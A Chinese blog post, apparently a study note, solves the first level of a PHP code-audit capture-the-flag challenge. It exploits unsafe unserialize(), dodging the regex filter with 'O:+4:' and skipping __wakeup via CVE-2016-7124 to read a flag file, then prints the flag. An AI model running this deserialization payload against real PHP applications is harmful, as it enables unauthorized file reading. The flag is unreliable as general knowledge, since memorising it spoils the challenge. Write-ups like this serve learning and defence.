记云演PHP代码审计第一关

原创

越码越秀 于 2021-09-25 22:02:59 发布 46 收藏

文章标签： php 正则表达式 web安全

本文链接：https://blog.csdn.net/weixin_45869407/article/details/120452774

版权

学习最好的方法就是记录，所以本次记录为了以后自己复习使用。
第一关代码审计

```php
<?php
class Demo {
    private $file = 'index.php';

    public function __construct($file) {
        $this->file = $file;
    }

    function __destruct() {
        echo @highlight_file($this->file, true);
    }

    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the f15g_1s_here.php
            $this->file = 'index.php';
        }
    }
}

if (isset($_GET['var'])) {
    $var = base64_decode($_GET['var']);
    if (preg_match('/[oc]:\d+:/i', $var)) {
        die('stop hacking!');
    } else {

        @unserialize($var);
    }
} else {
    highlight_file("index.php");
}
?>
```

当看到这段代码时，可以看到提示说flag在f15g_1s_here.php，所以我们要将$file的取值变为f15g_1s_here.php，然后进行反序列化，所以我们需要重新按照程序中的Demo类写一个Demo类，构造一个序列化的payload。

```php
class Demo {
    private $file = 'index.php';

    public function __construct($file) {
        $this->file = $file;
    }

    function __destruct() {
        echo @highlight_file($this->file, true);
    }

    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the f15g_1s_here.php
            $this->file = 'index.php';
        }
    }
}

$test = new Demo('f15g_1s_here.php');
$test = serialize($test);
```

这里如果直接将值传入，是不行的，因为这里有个正则表达式，具体意思为匹配o\c\oc:1-9(扩展1至无限次),因为得到的结果为o:4,所以可以改为o:+4进行绕过。

```php
$test = str_replace('O:4:','O:+4:',$test);
```

然后可以进行反序列化，但这里要注意几个PHP魔术方法的作用，

构造函数

```
__construct(mixed ...$values = ""): void
```

PHP 允许开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法，所以非常适合在使用对象之前做一些初始化工作。

注意: 如果子类中定义了构造函数则不会隐式调用其父类的构造函数。要执行父类的构造函数，需要在子类的构造函数中调用 **parent::__construct()**。如果子类没有定义构造函数则会如同一个普通的类方法一样从父类继承（假如没有被定义为 private 的话）。

与之相反，unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在，则会先调用 __wakeup 方法，预先准备对象需要的资源。

__wakeup() 经常用在反序列化操作中，例如重新建立数据库连接，或执行其它初始化操作。

析构函数

```
__destruct(): void
```

PHP 5 引入了析构函数的概念，这类似于其它面向对象的语言，如 C++。析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。

在了解了这几个魔术方法后，发现我们需要绕过__wakeup(),不然我们的$file就好改为index.php,然而这里可以利用CVE-2016-7124漏洞，即反序列化时，如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。

```
$test = str_replace(':1:',':2:',$test);
```

最后再进行一次base64编码就OK了，提交payload


```
<?php
$flag = "flag{05b8825669ae9dee519349e4a9edafca}";
?>
```